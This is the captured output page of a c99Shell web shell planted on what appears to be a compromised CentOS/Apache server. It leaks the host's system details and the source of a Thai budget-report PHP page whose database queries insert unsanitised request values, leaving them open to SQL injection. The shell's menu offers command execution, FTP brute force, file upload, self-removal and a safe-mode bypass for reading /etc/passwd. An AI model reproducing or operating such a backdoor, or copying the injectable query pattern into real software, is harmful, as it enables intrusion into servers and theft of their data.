!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/plan/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ReportStrategyMap.php (15.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
    

        
        
/**  Config Table for This Page  */
        
$myTable3 ="projectstra_type_tb";
        
$myTable2 "projectstdplan_tb"
        
$myTable1 "project_tb";
        
$myTable ="project_type_tb";
        
$myTablePK "ProstrId";
        
        
        
$startDate1 = ($Budget_Year 1)."-10-01";
        
$endDate1 = ($Budget_Year 1)."-12-31";
        
        
$startDate2 = ($Budget_Year )."-01-01";
        
$endDate2 = ($Budget_Year )."-03-31";
        
        
$startDate3 = ($Budget_Year )."-04-01";
        
$endDate3 = ($Budget_Year )."-06-30";
        
        
$startDate4 = ($Budget_Year )."-07-01";
        
$endDate4 = ($Budget_Year )."-09-30";
        
/**  Paging */
        
$page $_GET['page'];
        if( 
$page == "" ) { $page 1; }
        
        
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
        
$perpage $_REQUEST['perpage'];
        if( 
$perpage == "" ) { $perpage 30; }

        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="Javascript" src="../charts/charts.js"></script>
<title>แผนการดำเนินงาน : รายงานประเภทต่างๆ - สรุปยอดเงินที่ขอใช้ตามแผน</title>
<style type="text/css">
<!--
.style1 {font-size: 14px}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">

<table width="1205" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="1270" align="center" valign="top" style="padding:10px 0px 5px 10px">
      <?php
        
/**  Config Paging  */
        
if( $perpage == "" ) { $limit $_Config_limit; }
        else { 
$limit $perpage; }
        
        
$scroll $_Config_scroll
        
        
/**  ตั้งค่า Default สำหรับการทำ Order By  */
        
if( $OrderBy == "" ) { $OrderBy $myTablePK; }
                        
        if( !isset(
$_GET['ASCDESC']) ) { $ASCDESC "ASC"; }
                        
        if( 
$_GET['ASCDESC'] == "ASC" ) { $ASCDESC "DESC"; } 
        elseif( 
$_GET['ASCDESC'] == "DESC" ) { $ASCDESC "ASC"; }
        
        
/**  Query เพื่อหา Numrows ก่อน  */
        
$query " SELECT *  FROM $myTable3  WHERE StratempId='$StratempId'   ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);
        
$numrows $dbObj->_numrows;
        
        
/**  Paging  */
        
$display = ( !isset ($_GET['page']) ) ? $_GET['page'];
        
$start = ( ($display $limit) - $limit );
        
/**  Paging  */
        
        
if( isset($_GET['OrderBy']) ) {
            
$query " SELECT *  FROM $myTable3  WHERE     StratempId='$StratempId'   ORDER BY  $OrderBy  $ASCDESC ";
        } 
        elseif( !isset(
$_GET['OrderBy']) ) {
            
$query " SELECT *  FROM $myTable3  WHERE   StratempId='$StratempId'   ORDER BY  $myTablePK  ASC ";
        }
        
        
$query .= " LIMIT $start, $limit ";
        
$result $dbObj->execQuery($query);
    
?>
      <fieldset>
        <table width="1180" border="0" cellspacing="0" cellpadding="0">
          <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?Budget_Year=<?=$Budget_Year;?>&amp;ProjectId=<?=$ProjectId;?>&amp;MoneyS_C=<?=$MoneyS_C;?>&amp;page=<?=$page;?>">
            <tr>
              <td width="1180" height="5"></td>
            </tr>
            <tr>
              <td><table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
                  <tr>
                    <td height="10" colspan="2" align="right"></td>
                  </tr>
                  <tr>
                    <td align="left" style="padding-bottom:5px;"><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
                    <td align="right" style="padding-bottom:5px;">&nbsp;</td>
                  </tr>
                  <tr>
                    <td width="74%" align="left" style="padding-bottom:5px;">ทั้งหมด: <strong><?=$numrows;?></strong> รายการ</td>
                    <td width="26%" align="right" style="padding-bottom:5px;"><a href="ExcelReportStrategyMap.php?Budget_Year=<? echo $Budget_Year?>&StratempId=<? echo $StratempId;?>"><strong>ส่งออกข้อมูล &rsaquo;</strong></a> <img src="../images/icons/excel.png" width="16" height="16" border="0" align="absmiddle" /></td>
                  </tr>
              </table></td>
            </tr>
            <tr>
              <td height="291" valign="top"><?php if( $numrows ) { ?>กลยุทธ์ที่ <?php
                    $query2 
" SELECT *  FROM  prostrategymap_tb  WHERE    StratempId = '$StratempId' ";
                    
$result2 mysql_query($query2);
                    
$rss mysql_fetch_array($result2);
                    echo 
$rss['Nostrate'];
                    echo  
$rss['StrateName'];
                    
?>
                </p>
                <table width="1256" border="0" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">
                  <tr bgcolor="#F8F8F8">
                    <td width="259" rowspan="2" align="center"><span class="style1"><strong><font color="#0033CC" face="Tahoma">รายละเอียดโครงการ</font></strong></span></td>
                    <td width="62" rowspan="2" align="center" class="BORDER-LEFT-RIGHT">ประเด็น</br>ยุทธศาสตร์</td>
                    <td height="23" colspan="4" align="center" class="BORDER">แผนการใช้จ่าย ปี </td>
                    <td width="69" rowspan="2" align="center" class="BORDER-LEFT">แผนการ </br>ใช้จ่าย</td>
                    <td colspan="4" align="center" class="BORDER-LEFT">แผนการจ่ายจริง ปี</td>
                    <td width="73" rowspan="2" align="center" class="BORDER-LEFT">รวม </br>รายจ่ายจริง</td>
                    <td width="70" rowspan="2" align="center" class="BORDER-LEFT">งบประมาณ </br> คงเหลือ</td>
                    <td width="70" rowspan="2" align="center" class="BORDER-LEFT">ร้อยละของ </br>การเบิกจ่าย</td>
                    <td width="162" rowspan="2" align="center" class="BORDER-LEFT">ผลสัมฤิทธิ์</td>
                  </tr>
                  <tr bgcolor="#F8F8F8">
                    <td width="64" height="23" align="center" class="BORDER-TOP">ไตรมาส 1</td>
                    <td width="58" align="center" class="BORDER-TOP-LEFT">ไตรมาส 2</td>
                    <td width="60" align="center" class="BORDER-TOP-LEFT">ไตรมาส 3</td>
                    <td width="62" align="center" class="BORDER-TOP-LEFT">ไตรมาส4</td>
                    <td width="56" align="center" class="BORDER-TOP-LEFT">ไตรมาส 1</td>
                    <td width="59" align="center" class="BORDER-TOP-LEFT">ไตรมาส 2</td>
                    <td width="65" align="center" class="BORDER-TOP-LEFT">ไตรมาส 3</td>
                    <td width="65" align="center" class="BORDER-TOP-LEFT">ไตรมาส 4</td>
                  </tr>
                  <?php 
           $no 
1+($display-1)*$limit;
            while( 
$rs2 $dbObj->fetchArray($result) ) { 
                
                
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";            
                
          
?>
                  <tr bgcolor="<?=$bgColor;?>" class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
                    <td height="30" colspan="15" align="left" bgcolor="<?=$bgColor;?>" class="BORDER-TOP">
                  
                                     <?php
            
            $query  
" SELECT * FROM  $myTable2  WHERE Project_code = ' ".$rs2['Project_code']." ' ";
            
$result3 $dbObj->execQuery($query); 
            
$rs3  $dbObj->fetchArray($result3);
             echo 
$rs3['Orderlist'].".&nbsp;".$rs3['Project_plan'];
        
?>
                    </a></td>
                  </tr>
                 <?php 
                   
/*
           $no = 1+($display-1)*$limit;
            while( $rs1 = $dbObj->fetchArray($result3) ) { 
            */    
                    
$query2 " SELECT *  FROM $myTable  WHERE Project_code = '".$rs2['Project_code']."' ";
                    
$result2 mysql_query($query2);
                    while(
$rs mysql_fetch_array($result2)){
                    
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";            
                
                
          
?>
                  <tr bgcolor="<?=$bgColor;?>" class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
                    <td height="30" align="left" bgcolor="<?=$bgColor;?>" class="BORDER-TOP">
                      <? echo "$rs[Orderlist]"?> &nbsp;<?php  echo"$rs[Project_plan]"?>
                    </font></a></td>
                    <td align="right" class="PADDING-LEFT-5 BORDER-TOP-LEFT-RIGHT"></a></td>
                    <td align="right" class="PADDING-LEFT-5 BORDER-TOP"><?php         
                $sql1 
" SELECT  SUM(October+November+December)  AS SumB1  FROM project_type_tb  WHERE  ProjectId = '$rs[ProjectId]'     AND Budget_Year='$rs[Budget_Year]'   ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB1'],2,'.',',');
            
?> </td>
                    <td align="right" class="BORDER-TOP BORDER-LEFT"><?php         
                $sql1 
" SELECT SUM(January+February+March)  AS SumB1  FROM project_type_tb  WHERE   ProjectId = '$rs[ProjectId]'   AND    Budget_Year='$rs[Budget_Year]' ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB1'],2,'.',',');
            
?>            </td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php         
                $sql1 
" SELECT  SUM(April+May+June)  AS SumB1  FROM project_type_tb  WHERE   ProjectId = '$rs[ProjectId]'   AND  Budget_Year='$rs[Budget_Year]' ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB1'],2,'.',',');
            
?></td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php         
                $sql1 
" SELECT  SUM(July+Augus+September)  AS SumB1  FROM project_type_tb  WHERE   ProjectId = '$rs[ProjectId]'   AND  Budget_Year='$rs[Budget_Year]' ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB1'],2,'.',',');
            
?>            </td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php         
                $sql1 
" SELECT  SUM(Budget_use)  AS SumB1  FROM project_type_tb  WHERE   ProjectId = '$rs[ProjectId]'     AND Budget_Year='$rs[Budget_Year]' ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB1'],2,'.',',');
            
?></td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php         
                $sql10 
" SELECT SUM(Budget_use) AS SumB2  FROM $myTable1  WHERE   ProjectId = '$rs[ProjectId]'  AND Budget_Year='$rs[Budget_Year]' AND Date >=  '$startDate1' AND Date <=  '$endDate1' ";
                
$result10 mysql_query($sql10);
                
$rss10 mysql_fetch_array($result10);
                    echo 
number_format($rss10['SumB2'],2,'.',',');
            
?></td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php         
                $sql10 
" SELECT SUM(Budget_use) AS SumB2  FROM $myTable1  WHERE   ProjectId = '$rs[ProjectId]'   AND Budget_Year='$rs[Budget_Year]' AND Date >=  '$startDate2' AND Date <=  '$endDate2' ";
                
$result10 mysql_query($sql10);
                
$rss10 mysql_fetch_array($result10);
                    echo 
number_format($rss10['SumB2'],2,'.',',');
            
?></td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php         
                $sql10 
" SELECT SUM(Budget_use) AS SumB2  FROM $myTable1  WHERE   ProjectId = '$rs[ProjectId]'   AND Budget_Year='$rs[Budget_Year]' AND Date >=  '$startDate3' AND Date <=  '$endDate3' ";
                
$result10 mysql_query($sql10);
                
$rss10 mysql_fetch_array($result10);
                    echo 
number_format($rss10['SumB2'],2,'.',',');
            
?></td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php         
                $sql10 
" SELECT SUM(Budget_use) AS SumB2  FROM $myTable1  WHERE   ProjectId = '$rs[ProjectId]'   AND Budget_Year='$rs[Budget_Year]' AND Date >=  '$startDate4' AND Date <=  '$endDate4' ";
                
$result10 mysql_query($sql10);
                
$rss10 mysql_fetch_array($result10);
                    echo 
number_format($rss10['SumB2'],2,'.',',');
            
?></td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php         
                $sql1 
" SELECT  SUM(Budget_use)  AS SumB1  FROM project_tb  WHERE   ProjectId = '$rs[ProjectId]'     AND Budget_Year='$rs[Budget_Year]' ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB1'],2,'.',',');
            
?></td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php
                $sql1 
" SELECT  SUM(Budget_use)  AS SumB1  FROM project_type_tb  WHERE   ProjectId = '$rs[ProjectId]'   AND Budget_Year='$rs[Budget_Year]' ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    
                   
$sql10 " SELECT SUM(Budget_use) AS SumB2  FROM project_tb   WHERE   ProjectId = '$rs[ProjectId]'  AND Budget_Year='$rs[Budget_Year]'  ";
                
$result10 mysql_query($sql10);
                
$rss10 mysql_fetch_array($result10);
                        
                
$Sum4 $rss1[SumB1] - $rss10[SumB2] ;
               echo 
number_format($Sum4,2,'.',','); 
      
?></td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT"><?php
                $sql1 
" SELECT SUM(Budget_use)  AS SumB1 FROM project_type_tb  WHERE  ProjectId = '$rs[ProjectId]'    AND Budget_Year='$rs[Budget_Year]' ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    
                   
$sql10 " SELECT SUM(Budget_use) AS SumB2  FROM project_tb   WHERE   ProjectId = '$rs[ProjectId]'   AND Budget_Year='$rs[Budget_Year]'  ";
                
$result10 mysql_query($sql10);
                
$rss10 mysql_fetch_array($result10);
                 
$Sum4 $rss10[SumB2]*100  $rss1[SumB1] ;
                   
                   if  (
$Sum4 != '0' )  {
                     
                      echo 
number_format($Sum4,2,'.',','); 
                         } else {
                         echo 
number_format(0,2,'.',',');
                  
                }
                 
      
?> %</td>
                    <td align="right"  class="PADDING-RIGHT-10 BORDER-TOP BORDER-LEFT">&nbsp;</td>
                  </tr>
                  <?php 
                  
/*
               $no++;
            } # while 
            */
            
# while
            
?>
                  <?php 
               $no
++;
            } 
# while 
            //$dbObj->freeresult($result3);
            //$dbObj->freeresult($result2);
            //$dbObj->freeresult($result);
          
?>
                </table>
              <?php #if ?></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
        </tr></form></table>
    </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--